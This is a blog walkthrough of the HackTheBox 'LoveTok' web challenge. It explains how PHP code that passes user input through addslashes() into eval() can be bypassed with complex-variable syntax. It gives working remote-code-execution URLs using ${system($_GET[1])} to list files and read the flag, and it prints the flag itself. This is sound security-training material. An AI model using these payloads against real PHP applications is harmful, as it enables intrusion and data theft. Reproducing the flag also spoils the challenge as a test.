HackTheBox – LoveTok Write-up

Dear readers,

Today’s post is on LoveTok, a web challenge in HackTheBox. The challenge was created on 13th February 2021. It is a sanitation addslashes() bypass challenge so read on if you are interested!

Fig 1. LoveTok challenge on HackTheBox

Files provided

There are a number of files provided as well as the dockerfile to set up the server. You may download the files here. An IP address with a port number is also provided when you start the instance on the HackTheBox website.

Outlook of the website

Fig 2a. Outlook of the main page of the website when first entered the site

If we clicked on the “Nah, that doesn’t work for me. Try again!” button, a new time will be shown (see Fig 2b). However, we will notice the URL has changed where “?format=r” has been appended.

http://206.189.20.127:31160/?format=r
Fig 2b. New timing is given after we selected to try again

Analysis

Looking at the source code given, I found two interesting files which are TimeController.php and TimeModel.php. In the TimeController class, we can see that the code takes in value from the ‘format’ key and pass it as a parameter to the TimeModel class as shown below.

$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);

If you remember the change in the URL in the “Outlook of the website” section where “?format=r” is appended, the value “r” is being passed to the TimeModel controller.

If we look at the code in TimeModel class, we will notice that our value from the “format” parameter is being sanitized by addslashes() which will add a forward slash in front of , , \, and NULL byte.

public function __construct($format)
{
$this->format = addslashes($format);

If we look at the next function, we will see that our input is being executed inside eval() which is the vulnerability as we can easily obtain Remote Code Execution (RCE) to obtain our flag.

public function getTime()
{
      eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');

Just like SQL injection, we should be able to end the quote and add our malicious code into the eval() as shown below. The yellow font is the value I could have added from my parameter to end the quote and do a system call resulting in RCE.

eval('$time = date("");system("ls /")//", strtotime("'' . $this->prediction . '"));');

However, remember that is an addslashes() that will sanitize our input 1st. Therefore, we have to use other ways to bypass it. Use of URL encoding will not work as $_GET will automatically decode our encoding before running addslashes(). After Googling, I came across an interesting article to bypass addslashes() using a complex variable. You can read the post by programmersought here. Basically, complex variables will utilize double quotes (“) and use $ variable in them as well as {} barriers. Below shows examples of a complex variable and its output.

$a = 1;
echo 'a is $a';   // result: a is $a
echo "a is $a";   // result: a is 1
echo "${a}bc";    // result: 1bc


function b()
{
  return "a";
}
echo "a is ${b()}";     // result: a is 1 as it gets a is $a 1st

Based on that we can craft out our exploit.

Craft exploit

Using complex variables, we can first craft out to print the information of the PHP used using phpinfo() where phpinfo() will execute 1st.

http://206.189.20.127:31160/?format=${phpinfo()}

Since PHP in the server is not executed in Command-line Interface (CLI), the whole HTML document of the information of PHP run on the server will be sent to us. We will then obtain the PHP information shown in Fig 4a.

Fig 4a. PHP information leaked

Next, we can try to use system() instead so that the output of the system() will automatically be shown on the client-side just like using echo “abc” will cause the string “abc” to be shown on the client-side in the browser.

http://206.189.20.127:31160/?format=${system("ls")}

However, remember that double quotes are being sanitized? Therefore, we can use another way by reading the value from a variable which in this case is reading input from another GET parameter. Since $_GET is a dictionary, the key can be a number. So we can set the 2nd parameter to be 1=ls or 0=ls, etc, and read it using $_GET[1] or $_GET[0] respectively.

http://206.189.20.127:31160/?format=${system($_GET[1])}&1=ls

If we look at the dockerfile, we will see that the flag is in the / directory hence we need to list the files at that location.

...
# Copy flag
COPY flag /
...

Therefore, our exploit URL should be (+ means <space> in URL encoding):

http://206.189.20.127:31160/?format=${system($_GET[1])}&1=ls+/

The file in the / directory can be seen in Fig 4b.

Fig 4b. ls command on / directory

We can see that our flag file is flagepfnx which the file name for the flag is probably different for each server.

Flag obtained

Finally, we can crafted out the exploit URL to obtain the content of the flag.

http://206.189.20.127:31160/?format=${system($_GET[1])}&1=cat+flagepfnx
Fig 5. Flag obtained

Flag: HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.